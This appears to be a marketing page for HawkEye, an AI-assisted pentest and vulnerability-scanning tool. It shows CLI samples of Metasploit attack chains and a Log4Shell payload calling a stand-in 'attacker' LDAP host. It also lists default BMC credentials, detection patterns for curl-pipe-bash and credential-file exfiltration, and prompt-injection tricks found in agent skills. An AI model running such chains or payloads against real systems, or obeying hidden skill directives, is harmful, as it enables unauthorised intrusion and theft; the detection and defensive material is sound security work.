Adamantware OÜ has signed a distribution and exclusivity agreement with HealthTech Portugal — please contact them for any further information.
Contact HealthTech Portugal ↗3,092 CVE attack flows. Zero false positives. Vulnerability intelligence from scan to shell to report — nmap NSE scanning, live NVD enrichment, MITRE ATT&CK, and 3,376 Metasploit exploit pairs where every detection is a real, module-verified attack path. Discover, inject, exploit, loot, and report — in one native GUI.
A five-part series showing HawkEye on live targets — from the first sweep to source-and-supply-chain analysis. No slides, no mockups: the real engine on real hosts.
Other scanners flood you with "maybes." HawkEye maps 3,092 CVEs to 3,376 Metasploit exploit pairs — every detection is a real, fireable attack path. And before anything lands in your report as a finding, it's proven.
check — the authoritative source. Vulnerable, not vulnerable, or inconclusive. No hand-waving, no CVSS-by-version guessing.check proved the target vulnerable, the report says so — an operator's mistake never becomes a "false positive."Not a chat box bolted on. HawkEye feeds the live engagement state to the model of your choice — cloud or a fully-local one you control — and turns its judgement into action.
The whole GUI is a thin skin over one engine — and that engine is fully driveable from the shell. Same scans, same CVE intel, same clean attack chains, same reports, now scriptable into CI, cron, a remote SSH box, or an AI agent. hawkeye <command> --help documents every verb; run with no arguments to launch the GUI.
--format json on every command for clean machine parsing.hawkeye ai agent scans, asks the model to prioritise, then auto-runs the safe recon steps and hands you clean-compromise scaffolds — looping over hosts enumeration surfaces.--authorize; the destructive EternalBlue path is refused unless you explicitly opt in. A DoS is a failed pentest — the tool won't sell you a crash as a win.hawkeye history list / resume restores a saved engagement — findings, auto-pentest report and settings — so you pick up at the customer exactly where you left off.Example usage & what you get back:
# 1. Scan a subnet, get machine-readable findings for a pipeline $ hawkeye scan 10.0.110.0/24 --profile full --format json → [{"host":"10.0.110.102","port":445,"cve_id":"CVE-2017-0144","severity":"Critical", "title":"SMBv1 MS17-010","msf_modules":["exploit/windows/smb/ms17_010_eternalblue"], ...}] # 2. Look up / search CVE intelligence from NVD $ hawkeye cve CVE-2021-42278 → ── CVE-2021-42278 ── CVSS 8.8 (HIGH) Active Directory sAMAccountName spoofing (NoPac). ... $ hawkeye cve --search "smb signing" --limit 5 # 3. Source / repo assessment — SAST + SBOM + secure-practice audit $ hawkeye source ./target-app --format json # findings[] as JSON # 4. Emit a CLEAN attack-chain scaffold (nothing fires without you) $ hawkeye aggressive nopac --target 10.0.110.100 --domain lab.local \ --user joe --pass 'Summer2024' --authorize → ✔ CLEAN — CVE-2021-42278/42287: low-priv domain user → Domain Admin → dump. No crash. scaffold: reports/scaffolds/CLEAN_nopac_10-0-110-100.sh $ hawkeye aggressive eternalblue --target 10.0.110.102 --authorize → ☠ blocked — destructive (BSOD/DoS risk). Prefer a clean chain; --accept-destructive to override. # 5. AGENTIC MODE — scan, let the model plan, auto-run the safe recon, scaffold the rest $ hawkeye ai agent 10.0.110.0/24 --drive --authorize --backend ollama → ╔══ HawkEye agentic AI pentest ══╗ policy: clean in-and-out wins · a DoS is a FAILED pentest · destructive = opt-in only ── round 1/2 · scanning 1 target(s) ── [CRITICAL] 10.0.110.102:445 CVE-2017-0144 SMBv1 MS17-010 ── AI-recommended next steps (clean-first) ── 1. [recon ] ENUM 10.0.110.100 — enumerate AD, MachineAccountQuota looks open 2. [clean ] NOPAC 10.0.110.100 — low-priv → Domain Admin, no crash 3. [DESTRUCTIVE ] ETERNALBLUE 10.0.110.102 — last resort, may BSOD ▶ auto-run ENUM on 10.0.110.100 … ✔ scaffolded NOPAC → reports/scaffolds/CLEAN_nopac_10-0-110-100.sh ☠ REFUSED to auto-arm ETERNALBLUE — destructive. Prefer a clean chain. ── AI engagement summary ── most likely clean path: NoPac → DA → NTDS dump ... # 6. Report + day-2 resume $ hawkeye report 20260712_lab.json --format html -o engagement.html $ hawkeye history list # → saved engagements, [resumable] $ hawkeye history resume <id> # → full state as JSON, pick up where you left off
Two upgrades land in 3.6. HawkEye now recognises mobile devices on the wire and carries a curated mobile vulnerability knowledge base — headlined by IonStack, the one-click Android 17 root chain. And every finding now gets an explicit validation verdict: HawkEye re-checks its own work and tells you what's proven versus what to verify. That's the whole difference between a tool that sprays a thousand modules and one a client actually trusts — our edge is truth, not stealth.
5555/5037 ADB, 62078 lockdownd) and hostname — then apply the checks that actually fit a handset instead of treating it like a server.hawkeye modules browses every capability as a named module — each declaring how it validates a finding. Our answer to the "1150 modules" pitch: no evasive/polymorphic payloads, just honest, checkable coverage.Example usage & what you get back:
# 1. Scan finds a phone: exposed ADB is a real win; IonStack is flagged to verify $ hawkeye scan 10.0.110.0/24 --validate → [CRITICAL] 10.0.110.60:5555 Android Debug Bridge (ADB) exposed — Remote Code Execution [ HIGH] 10.0.110.60:- Android device — potentially exposed to IonStack 1-click root chain validation: 1 CONFIRMED · 2 POTENTIAL FP · 0 FALSE POSITIVE · 0 UNVALIDATED # 2. Browse the module catalog (KittySploit-style), filter by category $ hawkeye modules --category mobile → [mobile] mobile-recognise Mobile device recognition [mobile] mobile-adb Android ADB-over-TCP exposure [mobile] mobile-ionstack IonStack 1-click Android root (posture) [mobile] mobile-kb Mobile vuln knowledge base # 3. Full detail for one module — including exactly how it validates $ hawkeye modules mobile-ionstack → ── IonStack 1-click Android root (posture) [mobile-ionstack] ── cve: CVE-2026-10702 + CVE-2026-43499 safety: Safe validation: host-side/click chain — NOT wire-observable → POTENTIAL FALSE POSITIVE by design; verify Firefox ≥151.0.3 and June-2026+ Android patch on-device. # 4. Validation-first triage: re-check findings, label each with a verdict + confidence $ hawkeye validate 10.0.110.60 --format json → [{"finding_id":0,"verdict":"CONFIRMED","confidence":85, "method":"TCP re-probe: 10.0.110.60:5555 reachable"}, {"finding_id":1,"verdict":"POTENTIAL FALSE POSITIVE","confidence":50, "method":"posture check — host-side chain, not observable over the network"}] # 5. The agentic driver now reasons over VERDICTS, not raw guesses $ hawkeye ai agent 10.0.110.0/24 --drive --authorize → prioritising CONFIRMED findings first; POTENTIAL FALSE POSITIVE flagged to verify, FALSE POSITIVE ignored — no wild goose chases, no crash sold as a win.
In 3.6 every network finding got a validation verdict. In 3.7 the same honesty reaches Source Assessment. A raw regex hit is only a candidate — HawkEye now consults your repo's git history to decide the truth: a secret committed to history is CONFIRMED (leaked forever — rotate it), a match in an untracked or test/fixture file is flagged POTENTIAL FALSE POSITIVE, and every matcher is graded precise / normal / noisy so a broad pattern never masquerades as a proven bug. Optionally, a local AI takes a second look — with the scanned code fenced as untrusted data, so a booby-trapped comment can't hijack it.
/tests/·/fixtures/ path is demoted to POTENTIAL FALSE POSITIVE. Findings carry the committing author/date for provenance.AKIA… key, a PEM header — stands on its own), normal, or noisy (a bare eval(, the word MD5 — needs verifying). Noisy hits are born as POTENTIAL FALSE POSITIVE. Grow your own rules in ~/.hawkeye/sast-rules.json.--ai-investigate asks a local model to adjudicate the un-confirmed findings — but the scanned code is fenced as untrusted data and the model is told never to obey instructions hidden in a comment or string. It may only confirm or downgrade, never invent.--diff main to scan only files changed vs a ref (a fast PR/CI gate) and a per-file SHA-256 cache that skips unchanged files on re-scan.Example usage & what you get back:
# 1. Assess a repo — findings now carry a git-informed VERDICT $ hawkeye source ./checkout --sast → [CRITICAL] Hardcoded AWS access key id — src/config.py «CONFIRMED» GIT REVALIDATION: secret is COMMITTED to git history — rotate it last commit: a1b2c3d · alice · 2025-11-02 [ HIGH] Hardcoded credential — tests/fixtures/seed.py «POTENTIAL FALSE POSITIVE» GIT REVALIDATION: in a test/fixture path — likely a mock; verify [ LOW] Use of weak hash (MD5) — src/util.js «POTENTIAL FALSE POSITIVE» matcher tier: noisy — verify before reporting # 2. PR/CI gate: scan only what changed vs main $ hawkeye source ./checkout --diff main → SAST: --diff 'main' → 3 changed source file(s) # 3. Let a LOCAL model adjudicate the un-confirmed findings (injection-safe) $ hawkeye source ./checkout --sast --ai-investigate --ai-backend ollama → AI investigate: 4 adjudicated, 1 downgraded to FALSE POSITIVE # 4. Generate an SSH deploy key for a private repo — copy the public half $ hawkeye sshkey gen prod-deploy → ✔ generated SSH deploy key 'prod-deploy' ssh-ed25519 AAAAC3NzaC1lZDI1NTE5… hawkeye-prod-deploy Install this PUBLIC key as a read-only deploy key on the repo host.
The verdict rides the same status badge as network findings — in the GUI, in --format json, and in the AI's engagement context. One honesty model, everywhere.
Your SAST reads code. But an agent skill or an MCP server does its damage in the prompt layer — plain-English instructions a code scanner never sees. HawkEye now walks a repo for SKILL.md, CLAUDE.md, AGENTS.md, .cursorrules, mcp.json and the whole skills/·.claude/ tree and grades what it finds — 0–100 risk with a CI gate. Studies put roughly a quarter of published skills at risk and 5% outright malicious; this is the module that catches them before you install.
curl … | bash, pip install from a raw link, ~/.aws·id_rsa reads, and excessive agency — a wildcard "*" tool grant or blanket auto-approve.--fail-over N exits non-zero on a do-not-install score — drop it straight into CI.Example usage & what you get back:
# Audit a skill / MCP server before you install it $ hawkeye skillaudit ./some-skill --fail-over 51 → [CRITICAL] Instruction override — SKILL.md:12 «CONFIRMED» [CRITICAL] Invisible directive (bidi override U+202E) — SKILL.md:40 [ HIGH] Secret exfil to URL (curl $OPENAI_API_KEY) — tools/run.sh:8 [ HIGH] Wildcard tool grant "*" — mcp.json «excessive agency» [ MED ] Directive hidden in HTML comment — README.md:3 RISK SCORE: 100/100 → CRITICAL — DO NOT INSTALL exit 1 (fail-over tripped — blocks the CI merge) # A clean skill scores 0 with zero false positives $ hawkeye skillaudit ./trusted-skill → RISK SCORE: 0/100 → LOW — no prompt-layer risks found exit 0
Every skillaudit finding rides the same status badge and JSON verdict as the rest of the platform — one honesty model, from network ports to code to the agents you run.
A CVE id and a CVSS number don't tell you what an attacker actually does. In 3.9 the CVE lookup tab gets an inline 🧠 Ask AI panel: pick a backend and model — local Ollama by default, so nothing leaves your box — and get root cause, a realistic exploitation scenario, the IOCs to hunt for, prioritised remediation, and known PoC / in-the-wild status. On the offensive side, grading got sharper and the auto-pentest can now sequence a confirmed foothold into the next playbook — inside the same authorization gate that has always guarded the trigger.
chains_to links across a confirmed foothold — access → priv-esc → lateral — stopping the moment a foothold isn't earned. Bounded, logged, and gated.Example usage & what you get back:
# CVE tab → select a CVE → 🧠 Ask AI (backend: Ollama, local) → CVE-2021-44228 (Log4Shell) — CVSS 10.0 Root cause: JNDI lookup on attacker-controlled log input → remote class load. Attack: ${jndi:ldap://attacker/x} in any logged field → RCE as the app user. IOCs: outbound LDAP/RMI from the app host; "jndi:" in logs; unknown child procs. Fix: patch to 2.17.1; else log4j2.formatMsgNoLookups=true / remove JndiLookup. In-the-wild: yes — mass-exploited since Dec-2021. # Auto-pentest, active mode — chain a confirmed foothold (authorized scope only) $ hawkeye autopentest --iface eth0 --cidr 10.0.110.0/24 --active --authorize → ⚔ active — sequencing chains across discovered hosts ✅ foothold on 10.0.110.102:445 (ms17_010) → following chains_to: smart_hashdump [chain] no further foothold — stopping cleanly. Full report written.
HawkEye 4.0 crosses from planning to live orchestration. A Metasploit RPC broker spins up and manages msfconsole for you — generating and delivering payloads, driving the exploit, and tracking every session and callback — with a full audit trail behind the same authorization gate that has always guarded the trigger. Alongside it, three new detections widen what a single pass finds: subdomain takeover, cryptojacking, and default-credential exposure on the management plane most scanners never look at.
msfconsole RPC daemon, generates and delivers payloads, and tracks sessions & callbacks end-to-end. Every payload, every callback, every stage is logged — real offensive work, guarded by authorization and visibility.root/calvin on an iDRAC or ADMIN/ADMIN on IPMI is pre-OS control: power, virtual media, KVM, firmware. Audits BMC/iLO/iDRAC, NAS, UPS/PDU, PLCs and switches, reported confirmed.Example usage & what you get back:
# Management-plane default-credential audit — pre-OS control, confirmed $ hawkeye scan 10.0.20.0/24 full → [CRITICAL] Default credentials — iDRAC 10.0.20.11 (root/calvin) «CONFIRMED» [CRITICAL] Default credentials — IPMI 10.0.20.12 (ADMIN/ADMIN) «CONFIRMED» [ HIGH] Subdomain takeover — assets.example.com → unclaimed S3 bucket [ HIGH] Cryptojacking — 10.0.20.40 speaking Stratum to pool.minexmr.com:4444 # Live orchestration — payloads, sessions and callbacks, fully audited (authorized scope) $ hawkeye autopentest --iface eth0 --cidr 10.0.20.0/24 --active --authorize → 🛰 msf-broker up (RPC) · payload staged · exploit fired ✅ session 1 opened 10.0.20.11 → audit: payload+callback+stage logged every action recorded — nothing off the books.
4.0 is a real offensive platform. What it will never do: polymorphic / EDR-evasion payloads or detection-evasion tooling. It competes on truth and coverage — not stealth — and every offensive action is authorized, in-scope, and on the record.
Most vuln scanners stop at "here's a finding." HawkEye takes you from raw port to professional report with ATT&CK context and MSF commands at every step.
No tab-switching between five different tools. No copy-pasting CVE IDs into NVD. No writing reports by hand.
vuln script category plus HTTP, SSL, SMB, and service-specific scripts. Parses XML output into structured findings automatically.The ATT&CK tab shows which techniques were triggered across all findings — grouped by tactic, counted, and linked directly to MITRE. Know exactly where the attack surface is before you write a word.
Fill in client name, author, and classification. Click Generate. An HTML report opens in your browser — print to PDF or send as-is. Same format your clients expect.
Nessus and OpenVAS find network vulnerabilities. Acunetix goes deep on browser-based web DAST — and stops there. None of them exploit what they find, chain it into a domain takeover, or hand you an AI second opinion. HawkEye does all of it in one operator-grade desktop tool: a 190K+ check arsenal it drives natively (Nmap NSE, OpenVAS NVTs, 9K+ Nuclei templates, Nikto, CMS, headless DAST), then 3,092 CVEs mapped to 3,376 fireable Metasploit modules and automated attack chains — EternalBlue → SYSTEM → domain-hash dump, secretsdump, Kerberoast, RDP lateral — every finding a module-verified attack path, not a version-guess (zero false positives). It detects rogue gateways, rogue networks and rogue VLANs host-scanners never look for, recognises mobile devices and exposed ADB (RCE), and proves upload→RCE with a harmless beacon — never a payload. Then a multi-model AI copilot (Claude, OpenAI, Gemini, local Ollama, or your Newton endpoint — with cross-model consensus) triages, suggests the next fireable move, and writes the client report. No subscription. No cloud required. Your data stays yours.
| Capability | ◈ HawkEye | Nessus | OpenVAS | Acunetix | Intruder | Indusface | ManageEngine | SiteLock | Tripwire |
|---|---|---|---|---|---|---|---|---|---|
| Network / infrastructure scanning | ✓ 190K+ checks Nmap NSE · OpenVAS · Nuclei · Nikto · CMS · Katana |
✓ 185K plugins | ✓ 170K+ NVTs | basic | ✓ | partial | ✓ agent | ✗ | ✓ enterprise |
| TRUE attack validation — zero false positives | ✓ module-verified | ✗ version-guess | ✗ version-guess | web proof-based | ✗ | ✗ | ✗ | ✗ | ✗ |
| Rogue gateway detection | ✓ | ✗ | ✗ | ✗ | ✗ | ✗ | ✗ | ✗ | ✗ |
| Rogue network / subnet discovery | ✓ auto-recurse | manual scope | manual scope | ✗ | ✗ | ✗ | ✗ | ✗ | ✗ |
| Rogue VLAN detection & hopping | ✓ 802.1Q | ✗ | ✗ | ✗ | ✗ | ✗ | ✗ | ✗ | ✗ |
| Web app scanning (DAST) | ✓ best-in-class 9K templates · CDP crawl · SQLi/XSS/SSTI/LFI/cmdi · SSRF/XXE OOB · exploit-verified |
basic plugins | basic | ✓ deep DAST | ✓ | ✓ OWASP | web agent | malware only | ✗ |
| JavaScript / SPA scanning | ✓ Chromium CDP | ✗ | ✗ | ✓ Chromium | partial | partial | ✗ | ✗ | ✗ |
| API scanning (OpenAPI / GraphQL) | ✓ spec + GraphQL | ✗ | ✗ | ✓ spec import | partial | partial | ✗ | ✗ | ✗ |
| Live NVD CVE enrichment (real-time) | ✓ NVD API v2 | vendor cycle | vendor cycle | web CVEs only | ✓ | ✓ | ✓ | ✗ | ✓ |
| MITRE ATT&CK auto-mapping | ✓ 14 tactics | ✗ | ✗ | ✗ | ✗ | ✗ | partial | ✗ | ✗ |
| Metasploit attack mapping | ✓ 3,376 exploit pairs 3,092 CVEs → fireable modules |
✗ | ✗ | ✗ | ✗ | ✗ | ✗ | ✗ | ✗ |
| Automated exploitation & attack chains | ✓ EternalBlue→domain, secretsdump, Kerberoast, RDP | ✗ | ✗ | ✗ | ✗ | ✗ | ✗ | ✗ | ✗ |
| AI analyst copilot (multi-model) | ✓ Claude/OpenAI/Gemini/Ollama/Newton consensus · next-step engine · report author · local-first |
✗ | ✗ | ✗ | ✗ | ✗ | ✗ | ✗ | ✗ |
| Mobile device & ADB/RCE detection | ✓ Android/iOS + exposed-ADB RCE | OS fp only | OS fp only | ✗ | ✗ | ✗ | MDM only | ✗ | ✗ |
| Benign upload→RCE proof (OOB-verified) | ✓ harmless canary beacon | ✗ | ✗ | detects only | ✗ | ✗ | ✗ | ✗ | ✗ |
| ExploitDB PoC fetch + scaffold | ✓ live fetch | ✗ | ✗ | ✗ | ✗ | ✗ | ✗ | ✗ | ✗ |
| Kill chain / scenario builder | ✓ | ✗ | ✗ | ✗ | ✗ | ✗ | ✗ | ✗ | ✗ |
| OWASP Top 10 mapping | ✓ | partial | ✗ | ✓ | partial | ✓ | ✗ | ✗ | ✗ |
| Stealth / custom scan profiles | ✓ 5 profiles | partial | partial | ✗ | ✗ | ✗ | ✗ | ✗ | ✗ |
| Professional report (one click) | ✓ built-in | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | basic | ✓ |
| Native desktop GUI | ✓ Rust/egui | ✗ web UI | ✗ web UI | ✗ SaaS | ✗ SaaS | ✗ SaaS | ✗ web UI | ✗ SaaS | ✗ web UI |
| Price | -NA- | $4,390/yr | Free | $4,995/yr+ | $101/mo+ | $59/app/mo | $695/yr | $15/mo+ | Enterprise |
Chromium headless engine with Chrome DevTools Protocol (CDP). Detects vulnerabilities invisible to static HTTP scanners: DOM-based XSS (URL param → dangerous sink, fragment injection), client-side template injection (Angular/Vue/React), prototype pollution via JSON.parse, postMessage origin bypass, open redirects in JS routing, sensitive data in localStorage/sessionStorage, SPA framework dev-mode detection, and dynamic form endpoint discovery.
Automated kill-chain engine with 15+ MITRE ATT&CK patterns. Detects multi-step attack paths from your findings: SQLi→credential dump→pivoting, XSS→session hijack→account takeover, SSRF→cloud metadata→IAM theft, subdomain takeover→phishing, prototype pollution→RCE, and more. Includes remediation priority roadmap (CVSS + EPSS + CISA KEV), scan history with delta comparison, and push integrations for Jira, Linear, Slack, and generic webhooks. One-click PDF export via headless Chromium.
One seat per operator. Licensed per operator year — usage is registered server-side for compliance and audit purposes.